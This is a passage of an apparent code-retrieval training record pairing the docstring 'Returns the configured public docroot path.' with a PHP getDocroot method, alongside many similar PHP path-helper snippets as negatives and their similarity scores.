getInstallationPath()\n {\n return get_storage_path($this->getSubdir().DIRECTORY_SEPARATOR.$this->getId());\n }", "public function getCoreDir()\n {\n if(!Config::has('MAIN/core_path'))\n {\n Config::set('MAIN/core_path', $this->guessCoreDir());\n }\n\n return Config::get('MAIN/core_path');\n }", "function serendipity_httpCoreDir() {\n if (!empty($_SERVER['SCRIPT_FILENAME']) && substr(php_sapi_name(), 0, 3) != 'cgi') {\n return dirname($_SERVER['SCRIPT_FILENAME']) . '/';\n }\n\n if (!empty($_SERVER['ORIG_PATH_TRANSLATED'])) {\n return dirname(realpath($_SERVER['ORIG_PATH_TRANSLATED'])) . '/';\n }\n\n return $_SERVER['DOCUMENT_ROOT'] . dirname($_SERVER['PHP_SELF']) . '/';\n}", "public function getBasePath()\n {\n return dirname(__DIR__);\n }" ]
[ "0.696532", "0.68005496", "0.6665218", "0.6488607", "0.6487966", "0.64438957", "0.6435663", "0.6375996", "0.6356348", "0.63393474", "0.6337887", "0.6328963", "0.63075435", "0.630252", "0.62845254", "0.6282567", "0.6234196", "0.6224943", "0.6196469", "0.6171674", "0.6170165", "0.6157471", "0.6133607", "0.6098248", "0.60813963", "0.60807073", "0.60570776", "0.6052184", "0.60414314", "0.60408527", "0.6031036", "0.603017", "0.60293", "0.60289794", "0.60135144", "0.6006175", "0.6003466", "0.59962595", "0.5995869", "0.59856826", "0.59714985", "0.596628", "0.59586823", "0.59565395", "0.5951674", "0.5947996", "0.5947977", "0.59379613", "0.59357244", "0.59223884", "0.59197783", "0.5918544", "0.5916951", "0.5912013", "0.590952", "0.59070766", "0.59054816", "0.59048957", "0.59047866", "0.58993524", "0.58849275", "0.5870985", "0.58666396", "0.5866414", "0.5863092", "0.58605963", "0.5854319", "0.5853343", "0.5852588", "0.5852588", "0.5852588", "0.5852588", "0.5847424", "0.58329743", "0.5823237", "0.58202153", "0.5819198", "0.5818379", "0.5818379", "0.5818205", "0.5818205", "0.5818205", "0.5818205", "0.5816408", "0.5797822", "0.5796581", "0.578568", "0.5785469", "0.5784934", "0.5771759", "0.576989", "0.57645905", "0.5763463", "0.5762978", "0.5762978", "0.57586396", "0.57568717", "0.57440495", "0.5738267", "0.5734593" ]
0.60807955
25
Returns the configured server root path.
public static function getExepath() { return MHTTPD::$config['Paths']['exepath']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getConfiguredServerRoot()\n {\n return $this->server_root;\n }", "public function getRootDir()\n {\n return $this->server['DOCUMENT_ROOT'];\n }", "public function getRootPath(): string\n {\n return $this->rootPath;\n }", "function base_path() {\n return (new Server)->get('DOCUMENT_ROOT');\n }", "public function getRootPath() {\r\n\t\treturn $this->getFramework()->getPath(Core::PATH_ROOT);\r\n\t}", "public function getRootPath()\r\n\t{\r\n\t\treturn $this->rootPath;\r\n\t}", "public function getRootPath()\n {\n return $this->rootPath;\n }", "public function getRootPath()\n {\n return $this->root_path;\n }", "public static function getServerDocroot() \n\t{\n\t\treturn MHTTPD::$config['Paths']['server_docroot'];\n\t}", "public function rootPath()\n {\n return public_path() . $this->helper->ds();\n }", "public function get_root_path()\n\t{\n\t\treturn $this->ext_root_path;\n\t}", "protected function getRootDir()\n {\n return $this->appConfig->getRootDir();\n }", "public function getBasePath()\n {\n // Check if server base path is defined, if not define it.\n if ($this->serverBasePath === null) {\n $this->serverBasePath = implode('/', array_slice(explode('/', $_SERVER['SCRIPT_NAME']), 0, -1)) . '/';\n }\n\n return $this->serverBasePath;\n }", "public function root()\n {\n if ($this['environment']->has('SCRIPT_FILENAME') === false) {\n throw new \\RuntimeException(\n 'The \"`\"SCRIPT_FILENAME\" server variable could not be found.\n It is required by \"Workbench::root()\".'\n );\n }\n\n return dirname($this['environment']->get('SCRIPT_FILENAME'));\n }", "public function getRootPath()\n {\n if(null === $this->_rootPath) {\n $url = parse_url(str_replace('/index.php/', '/', $this->storeManager->getStore()->getUrl($this->getRouteName(), ['_type' => \\Magento\\Framework\\UrlInterface::URL_TYPE_LINK])));\n $this->_rootPath = isset($url['path']) ? $url['path'] : '';\n }\n\n return $this->_rootPath;\n }", "static public function getRootPath() {\n\t\treturn Page::$base_path;\n\t}", "protected function get_default_root_path(): string {\n return dirname($this->nowqsPath, 4) . DIRECTORY_SEPARATOR;\n }", "public static function getRoot(): string {\n if (! self::$_root) {\n self::$_root = dirname(dirname(dirname(__FILE__)));\n }\n \n return self::$_root;\n }", "protected function getRootUrl()\n {\n return $this->appConfig->getRootUrl();\n }", "function parcelcheckout_getRootPath()\n\t{\n\t\t$sRootPath = dirname(dirname(dirname(__FILE__)));\n\n\t\tif(strpos($sRootPath, '\\\\') !== false)\n\t\t{\n\t\t\t$sRootPath .= '\\\\';\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$sRootPath .= '/';\n\t\t}\n\n\t\treturn $sRootPath;\n\t}", "protected function rootPath()\n {\n return Pi::path('upload') . '/' . $this->getModule();\n }", "public function getRootPath();", "public function getRootPath();", "public static function getDocumentRoot()\r\n\t{\r\n\t\tstatic $documentRoot = null;\r\n\t\tif ($documentRoot != null)\r\n\t\t\treturn $documentRoot;\r\n\r\n\t\t$context = Application::getInstance()->getContext();\r\n\t\tif ($context != null)\r\n\t\t{\r\n\t\t\t$server = $context->getServer();\r\n\t\t\tif ($server != null)\r\n\t\t\t\treturn $documentRoot = $server->getDocumentRoot();\r\n\t\t}\r\n\r\n\t\treturn rtrim($_SERVER[\"DOCUMENT_ROOT\"], \"\\\\/\");\r\n\t}", "public function getRoot(): string\n {\n return (string)$this->env['SCRIPT_NAME'];\n }", "public static function getBasePath()\n {\n $base_path = substr(trim(\\ROOT, '/'), strlen(trim($_SERVER['DOCUMENT_ROOT'], '/')));\n if (DS !== '/') {\n $base_path = str_replace(DS, '/', $base_path);\n }\n return $base_path;\n }", "public function root(): string\n {\n return rtrim($this->getSchemeAndHttpHost() . $this->getBaseUrl(), '/');\n }", "public static function getSiteRoot() {\n if (strtolower($_SERVER['SERVER_NAME'])=='www.palmettonewmedia.com') {\n return Config::getHTTPS() . '://www.palmettonewmedia.com/foodfinder';\n }\n else {\n return Config::getHTTPS() . '://' . $_SERVER['SERVER_NAME'];\n }\n }", "protected static function getDocumentRoot() {\n\t\treturn BootstrapConfig::getParam(\"document_root\", $_SERVER['DOCUMENT_ROOT']);\n\t}", "public function get_base_root()\r\n {\r\n return realpath(ROOT_DIR_NAME);\r\n }", "public function rootDir(): string\n {\n return $this->root;\n }", "function getWebsiteRootPath()\n {\n // Check that the absolute path to the current directory is accessible\n // (some webhosts denies access this way)\n if ( file_exists (FCPATH) ) {\n return FCPATH;\n } else {\n // Fake relative path by using subdirectory\n return 'js/../';\n }\n }", "public function getRootDirectory();", "function get_root_url() {\n return \"http://\" . $_SERVER['HTTP_HOST'] . '/' . ROOT_PATH;\n }", "public function getRootDir();", "public function getRootDir(){\n\t\treturn str_replace(realpath($_SERVER['DOCUMENT_ROOT']), \"\", realpath(dirname(__DIR__ . \"/../core.php\")));\n\t}", "public function root(): string\n {\n return $this->instances->demo()->config()->root() . '/public/' . $this->name;\n }", "private function buildRootPath()\n {\n // In Windows script path uses backslash, convert it:\n $scriptPath = str_replace('\\\\', '/', $_SERVER['PHP_SELF']);\n $rootPath = str_replace(' ', '%20', rtrim(substr($scriptPath, 0, strpos($scriptPath, 'index.php')), '/'));\n\n return $rootPath;\n }", "public static function getApplicationRoot(){\r\n $path = __DIR__;\r\n return $path;\r\n }", "public function getRoot()\n {\n return SITE_ROOT;\n }", "public function getBaseRootDir()\n {\n return $this->paths->getBaseRootDir();\n }", "public static function rootUrl() {\n\t\treturn self::$_scheme . self::$_host;\n\t}", "protected function getBasePath()\n {\n return $this->vfs()->url();\n }", "protected function getRootPath()\n {\n return base_path() . '/CertificateBuilder/events';\n }", "public function getRootDir()\n {\n return __DIR__;\n }", "public function getDefaultTemplateRootPath()\r\n {\r\n return $this->getDirectoryName($this->defaultTemplateRootPath);\r\n }", "public function getDefaultPartialRootPath()\r\n {\r\n return $this->getDirectoryName($this->defaultPartialRootPath);\r\n }", "public function rootDirectory() {\r\n return $this->directoryRoot;\r\n }", "public function getRootDir()\n {\n return $this->rootDir;\n }", "function getRootURI() {\n\t\treturn (implode('/', array_splice(explode('/', $_SERVER['SCRIPT_NAME']), 0, -1)) . '/');\n\t}", "public function getFileRootPath(): string\n {\n return str_replace(\n ':',\n '.',\n $this->getDatasetSubmission()->getDataset()->getUdi()\n ) . DIRECTORY_SEPARATOR;\n }", "protected function getPackageRootPath(): string\n {\n return getcwd() . '/';\n }", "public function get_server_http_root()\n {\n\t\t$split = explode('.',$_SERVER['HTTP_HOST']);\n\t\t\n\t\t$root=$split[0];\n\t\t//makes it devbrad from just brad\n\t\tif( in_array($root,array('sam','ryan','brad'))) $root = \"dev\".$root;\n\t\t//else it is just stage or live, leave it alone\n\t\t\n\t\treturn \"endeavor/\".$root.\"/\";\n\t\t\n }", "public function getTemplateRootPath()\r\n {\r\n return $this->getDirectoryName($this->templateRootPath);\r\n }", "function getDocumentRoot(){\n\t\t$document_root = isset($_SERVER[\"DOCUMENT_ROOT\"]) ? $_SERVER[\"DOCUMENT_ROOT\"] : \"\";\n\t\t#get env variables under IIS\n\t\tif( !$document_root ){\n\t\t $sf = str_replace(\"\\\\\",\"/\",$_SERVER[\"SCRIPT_FILENAME\"]);\n\t\t $sn = $_SERVER[\"SCRIPT_NAME\"];\n\t\t $document_root = str_replace( $sn, \"\", $sf );\n\t\t}\n\t\treturn $document_root;\n}", "public static function getCoreRoot() {\n if (strtolower($_SERVER['SERVER_NAME'])=='www.palmettonewmedia.com') {\n return Config::getHTTPS() . '//www.palmettonewmedia.com/foodfinder/core';\n }\n else {\n return Config::getHTTPS() . '://' . $_SERVER['SERVER_NAME'] . '/core';\n }\n }", "public function getDocumentRoot()\n {\n $documentRoot = '';\n $normalized = $this->getNormalized();\n if (empty($normalized['web']['locations'])) {\n return $documentRoot;\n }\n foreach ($this->getNormalized()['web']['locations'] as $path => $location) {\n if (isset($location['root'])) {\n $documentRoot = $location['root'];\n }\n if ($path === '/') {\n break;\n }\n }\n\n return ltrim($documentRoot, '/');\n }", "public function getRootDir()\n {\n return sys_get_temp_dir() . '/base-kernel/' . 'kernel-' . substr(\n hash(\n 'md5',\n json_encode([\n $this->bundlesToLoad,\n $this->configuration,\n $this->routes,\n ])\n ),\n 0,\n 10\n );\n }", "public static function rootDir(): string\n {\n if (self::$appRootDir === null) {\n throw new GacelaNotBootstrappedException();\n }\n return self::$appRootDir;\n }", "public function getServerRelativePath()\n {\n return $this->getProperty(\"ServerRelativePath\");\n }", "public static function getDocroot() \n\t{\n\t\treturn MHTTPD::$config['Paths']['docroot'];\n\t}", "private function getAppRootDir()\n {\n return $this->container->get('app.parameter_bag')->get('kernel.project_dir');\n }", "public function getRootPath()\n {\n return $this->getRepositoryRoot();\n }", "public function getRootDir()\n\t{\n\t\treturn $this->_rootDir;\n\t}", "public static function dirRoot()\n\t{\n\t\treturn defined('DIR_ROOT') ? DIR_ROOT : dirname(__DIR__);\n\t}", "protected function getProjectRootPath()\n {\n return dirname($this->getTestsRootPath());\n }", "static public function getSecureRootPath() {\n\t\treturn Page::$base_ssl_path;\n\t}", "public function getBaseRootUri()\n {\n return $this->paths->getBaseRootUri();\n }", "public function getBasePath()\n {\n if ($this->basePath === null) {\n $this->basePath = dirname(getcwd());\n }\n\n return $this->basePath;\n }", "public function getBasePath()\n {\n return $this->detectBasePath();\n }", "private function getPathToRootDir()\n {\n return '%kernel.project_dir%';\n }", "public static function getApplicationPath() \r\n {\r\n if (!isset(self::$appPath)) \r\n {\r\n switch ($_SERVER['HTTP_HOST']) {\r\n case 'localhost':\r\n self::$appPath = 'http://' . $_SERVER['HTTP_HOST'] . '/Progetto/';\r\n break;\r\n case 'spano.sc.unica.it':\r\n // configurazione pubblica\r\n self::$appPath = 'http://' . $_SERVER['HTTP_HOST'] . '/amm2015/meloniFabrizio/';\r\n break;\r\n default:\r\n self::$appPath = '';\r\n break;\r\n }\r\n }\r\n \r\n return self::$appPath;\r\n }", "public static function getServiceRoot() {\n if (strtolower($_SERVER['SERVER_NAME'])=='www.palmettonewmedia.com') {\n return Config::getHTTPS() . '://www.palmettonewmedia.com/foodfinder/service';\n }\n else {\n return Config::getHTTPS() .'://' . $_SERVER['SERVER_NAME'] . '/service';\n }\n }", "public static function getApplicationBaseURL()\n {\n if (self::$applicationBaseURL == null) {\n $dir = dirname($_SERVER[\"SCRIPT_NAME\"]);\n if ($dir == \"/\") $dir = \"\";\n self::$applicationBaseURL = $dir.\"/\";\n }\n return self::$applicationBaseURL;\n }", "public function getWebRoot() {\n return $GLOBALS['registry']->config[\"siteUrl\"];\n }", "public function getBaseURL() {\n $url = $_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://';\n \n $url .= $_SERVER['SERVER_NAME'].dirname($_SERVER['PHP_SELF']);\n \n return $url;\n }", "public static function getCoreServiceRoot() {\n if (strtolower($_SERVER['SERVER_NAME'])=='www.palmettonewmedia.com') {\n return Config::getHTTPS() . '://www.palmettonewmedia.com/foodfinder/core/service';\n }\n else {\n return Config::getHTTPS() .'://' . $_SERVER['SERVER_NAME'] . '/core/service';\n }\n }", "protected function getRootConstant()\n {\n return defined('JHFRAME_ROOTDIR') ? JHFRAME_ROOTDIR : null;\n }", "public function getManialiveRoot()\n {\n return $this->path->getRoot();\n }", "function getAppPath() {\r\n\r\n $root = str_replace('\\\\', '/', $_SERVER['DOCUMENT_ROOT']);\r\n if (substr($root, -1) === '/') { // remove any trailing / which should not be there\r\n $root = substr($root, 0, -1);\r\n }\r\n $dir = str_replace('\\\\', '/', dirname(__FILE__));\r\n\r\n $path = str_replace($root, '', $dir) . '/';\r\n\r\n return $path;\r\n\r\n }", "function root_path($path = null)\n{\n return statamic_path('../' . $path);\n}", "function rootSite() {\n // $dirname = preg_replace('/\\\\\\+/', '/', dirname(realpath($uri)));\n $dirname = preg_replace('/\\\\\\+/', '/', dirname($_SERVER['PHP_SELF']));\n if (substr($dirname, -1) == \"/\")\n $dirname = substr($dirname, 0, strlen($dirname) - 1); // remove / if it is there to be consistent for URL\n return $dirname;\n }", "public function basePath()\n {\n return ROOT_PATH;\n }", "public function getDefaultLayoutRootPath()\r\n {\r\n return $this->getDirectoryName($this->defaultLayoutRootPath);\r\n }", "protected function getUploadRootDir()\n {\n return $_SERVER['DOCUMENT_ROOT'] . '/' . $this->getUploadDir();\n }", "public function getWebroot() {\n return Yii::getAlias('@static') .DIRECTORY_SEPARATOR. 'web' .DIRECTORY_SEPARATOR.$this->module.DIRECTORY_SEPARATOR. $this->parent_id .DIRECTORY_SEPARATOR;\n }", "public function getFullPath()\n\t{\n\t\treturn $this->getServerName() . $this->getScriptDirectory();\n\t}", "public function basePath(): string\n {\n return $this->app->getBasePath();\n }", "public function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir().\"/\".$this->getHash();\n }", "public function getHomeFolder()\n\t{\n\t\t$rootDirectory = $this->getOption('remote.root_directory');\n\t\t$rootDirectory = Str::finish($rootDirectory, '/');\n\t\t$appDirectory = $this->getOption('remote.app_directory') ?: $this->getApplicationName();\n\n\t\treturn $rootDirectory.$appDirectory;\n\t}", "protected function getWebRoot()\n {\n return trim($this->web_root, \"/\");\n }", "public function getBasePath()\n {\n return $this->basePath();\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "public function getFolderAppRoot() : string\n {\n return $this->folderAppRoot;\n }", "public function getPublicRoot()\n {\n $this->initializeVendorDir();\n return realpath($this->public_root);\n }", "public function getBasePath()\n {\n return dirname($this->file);\n }", "public static function getBaseUrl ()\r\n\t{\r\n\t\t# Obtain the value\r\n\t\t$baseUrl = dirname (substr ($_SERVER['SCRIPT_FILENAME'], strlen ($_SERVER['DOCUMENT_ROOT'])));\r\n\t\t\r\n\t\t# Convert backslashes to forwarded slashes if necessary\r\n\t\t$baseUrl = str_replace ('\\\\', '/', $baseUrl);\r\n\t\t\r\n\t\t# Deal with the special case of an application at top-level\r\n\t\tif ($baseUrl == '/') {$baseUrl = '';}\r\n\t\t\r\n\t\t# Return the value\r\n\t\treturn $baseUrl;\r\n\t}" ]
[ "0.8406466", "0.79759794", "0.7959511", "0.79053634", "0.79015994", "0.7877276", "0.78529036", "0.7830621", "0.7762928", "0.7761078", "0.7708904", "0.766443", "0.7602493", "0.75899166", "0.7532611", "0.75215167", "0.7496133", "0.74255264", "0.7413808", "0.73899764", "0.73838115", "0.7370323", "0.7370323", "0.736094", "0.73468924", "0.72714275", "0.726316", "0.72626084", "0.72623354", "0.72364086", "0.72050625", "0.7194882", "0.7154496", "0.7130988", "0.71114254", "0.70882916", "0.70823944", "0.7067057", "0.70530903", "0.7051312", "0.70334977", "0.70330405", "0.70266443", "0.7022839", "0.70104814", "0.7007956", "0.6972026", "0.6951163", "0.69380414", "0.6917204", "0.69000775", "0.68961054", "0.6859343", "0.68536395", "0.68508077", "0.68495905", "0.6846785", "0.6828736", "0.68013054", "0.67911077", "0.67796046", "0.67739093", "0.6771378", "0.67624336", "0.67569447", "0.6749255", "0.6748112", "0.6736864", "0.670962", "0.6706057", "0.6679448", "0.66723865", "0.66649675", "0.6662737", "0.665606", "0.66442317", "0.66258126", "0.66226065", "0.661379", "0.6612875", "0.658443", "0.65806586", "0.6578271", "0.6557868", "0.65574116", "0.65485615", "0.6524376", "0.6519284", "0.6512676", "0.6509546", "0.6506611", "0.6504579", "0.6487943", "0.6487943", "0.6487943", "0.6487943", "0.6487943", "0.6483773", "0.6483666", "0.64830405", "0.64787894" ]
0.0
-1
Returns the configured public docroot path.
public static function getDocroot() { return MHTTPD::$config['Paths']['docroot']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getPublicRoot()\n {\n $this->initializeVendorDir();\n return realpath($this->public_root);\n }", "function public_path()\n {\n $paths = getPaths();\n\n return $paths['public'];\n }", "public function rootPath()\n {\n return public_path() . $this->helper->ds();\n }", "public static function getServerDocroot() \n\t{\n\t\treturn MHTTPD::$config['Paths']['server_docroot'];\n\t}", "public function getPublicDir():string {\n return $this->getProjectDir() . '/public';\n }", "public function publicPath()\n {\n return $this->basePath . DIRECTORY_SEPARATOR . 'public';\n }", "public function publicPath()\n {\n return $this->basePath . DIRECTORY_SEPARATOR . 'public';\n }", "public function getPublicBasePath();", "public function root(): string\n {\n return $this->instances->demo()->config()->root() . '/public/' . $this->name;\n }", "public function publicPath()\n {\n return rtrim($this->publicPath, '/') .'/';\n }", "public function getPublicDirectory(): string\n {\n return config('theme-system.public', 'public') ?? 'public';\n }", "public function getPublicPath()\n {\n return $this->getSettingArray()[\"public_path\"];\n }", "function public_path()\n {\n return base_path() . '/public';\n }", "protected static function getDocumentRoot() {\n\t\treturn BootstrapConfig::getParam(\"document_root\", $_SERVER['DOCUMENT_ROOT']);\n\t}", "private static function getWebRoot() {\n if (file_exists(realpath(__DIR__ . '/../../../../../public_html'))) {\n return self::addlSash(\"public_html\");\n } else {\n return self::addlSash(\"web\");\n }\n }", "public function getDocumentRoot()\n {\n $documentRoot = '';\n $normalized = $this->getNormalized();\n if (empty($normalized['web']['locations'])) {\n return $documentRoot;\n }\n foreach ($this->getNormalized()['web']['locations'] as $path => $location) {\n if (isset($location['root'])) {\n $documentRoot = $location['root'];\n }\n if ($path === '/') {\n break;\n }\n }\n\n return ltrim($documentRoot, '/');\n }", "public function getPublicPath(): string\n {\n return Path::unifyPath(Environment::getPublicPath());\n }", "public function getPublicDir()\n\t{\n\t\treturn $this->_publicDir;\n\t}", "public function public_path();", "public static function getDocumentRoot()\r\n\t{\r\n\t\tstatic $documentRoot = null;\r\n\t\tif ($documentRoot != null)\r\n\t\t\treturn $documentRoot;\r\n\r\n\t\t$context = Application::getInstance()->getContext();\r\n\t\tif ($context != null)\r\n\t\t{\r\n\t\t\t$server = $context->getServer();\r\n\t\t\tif ($server != null)\r\n\t\t\t\treturn $documentRoot = $server->getDocumentRoot();\r\n\t\t}\r\n\r\n\t\treturn rtrim($_SERVER[\"DOCUMENT_ROOT\"], \"\\\\/\");\r\n\t}", "public function publicPath(): string\n {\n return $this->basePath.DIRECTORY_SEPARATOR.'public';\n }", "function public_path($path=null)\n\t{\n\t\treturn rtrim(app()->basePath('../public_html/'.$path), '/');\n\t}", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../../web/'.$this->getUploadDir();\n }", "public function getRootDir()\n {\n return $this->server['DOCUMENT_ROOT'];\n }", "function getWebsiteRootPath()\n {\n // Check that the absolute path to the current directory is accessible\n // (some webhosts denies access this way)\n if ( file_exists (FCPATH) ) {\n return FCPATH;\n } else {\n // Fake relative path by using subdirectory\n return 'js/../';\n }\n }", "public function getWebroot() {\n return Yii::getAlias('@static') .DIRECTORY_SEPARATOR. 'web' .DIRECTORY_SEPARATOR.$this->module.DIRECTORY_SEPARATOR. $this->parent_id .DIRECTORY_SEPARATOR;\n }", "public function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir().\"/\".$this->getHash();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\r\n {\r\n // documents should be saved\r\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\r\n }", "function public_url() {\n return url(\"/\");\n }", "protected function getUploadRootDir()\n {\n \t// documents should be saved\n \treturn __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "public function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "public function getPath()\n {\n return $this->getCommonOptions()->getPublicPath();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n\n return __DIR__.'/../../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir(): string\n {\n // documents should be saved\n return __DIR__.'/../../public/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../public_html/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "public function getWebroot() {\n return $this->webroot;\n }", "public function getPhotoUploadRootDir()\n {\n // documents should be saved\n return __DIR__ . '/../../../web/' . $this->getPhotoUploadDir();\n }", "protected function getUploadRootDir()\n {\n// documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir() {\n // documents should be saved\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getWebRoot() {}", "protected function getWebRoot() {}", "public function getWebRoot() {\n return $GLOBALS['registry']->config[\"siteUrl\"];\n }", "function base_path() {\n return (new Server)->get('DOCUMENT_ROOT');\n }", "protected function getUploadRootDir() {\n // documents should be saved\n return __DIR__ . '/../../../../web/' . $this -> getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return '/home/meriem/therlab/web/'.$this->getUploadDir();\n }", "public function getImagePublicBasePath()\n {\n return $this->getSettingArray()[\"image_public_base_path\"];\n }", "protected function getUploadRootDir() {\n // documents should be saved\n return __DIR__ . '/../../../web/' . $this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__ . '/../../../../web/' . $this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__ . '/../../../../web/' . $this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__ . '/../../../../web/' . $this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // documents should be saved\n return __DIR__ . '/../../../../web/' . $this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n // le chemin absolu du répertoire où les documents uploadés doivent être sauvegardés\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir() {\n // documents should be saved\n return __DIR__ . '/../../../../web/' . $this->getUploadDir();\n }", "protected function getUploadRootDir()\r\n {\r\n // the absolute directory path where uploaded documents should be saved\r\n return __DIR__.'/../../../../web/'.$this->getUploadDir();\r\n }", "public static function publicPath(){\n return \\Illuminate\\Foundation\\Application::publicPath();\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../public/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return dirname(__DIR__).'/../public/'.$this->getUploadDir();\n }", "public function rootDir(): string\n {\n return $this->root;\n }", "public function getRootDir(){\n\t\treturn str_replace(realpath($_SERVER['DOCUMENT_ROOT']), \"\", realpath(dirname(__DIR__ . \"/../core.php\")));\n\t}", "protected function getWebRoot()\n {\n return trim($this->web_root, \"/\");\n }", "protected function getRootDir()\n {\n return $this->appConfig->getRootDir();\n }", "public function publicPath($path = '')\n\t{\n\t\treturn $this['path.public'].ltrim($path, '/');\n\t}", "static public function getRootPath() {\n\t\treturn Page::$base_path;\n\t}", "private function getPathToRootDir()\n {\n return '%kernel.project_dir%';\n }", "protected function getUploadRootDir()\n {\n return __DIR__ . '/../../../../web/' . self::UPLOAD_ROOT;\n }", "public static function getDocsDirectory()\n {\n $dir = BaseSystem::getDataDir('Help').'/Docs/';\n return $dir;\n\n }", "private function getUploadRootDir(){\n \treturn __DIR__.'/../../../../web/'.$this->getUploadDir();\n }", "public function getDocBaseUrl() {\n\t\treturn 'https://docs.nextcloud.com';\n\t}", "protected function getUploadRootDirPdf() {\n // guardar los archivos cargados\n return __DIR__ . '/../../../../web/uploads/portafolios/' . $this->getId() . '/pdf';\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\n {\n return __DIR__.'/../../../web/'.$this->getUploadDir();\n }", "protected function getUploadRootDir()\r\n\t{\r\n\t\treturn __DIR__.'/../../../../web/'.$this->getUploadDir();\r\n\t}" ]
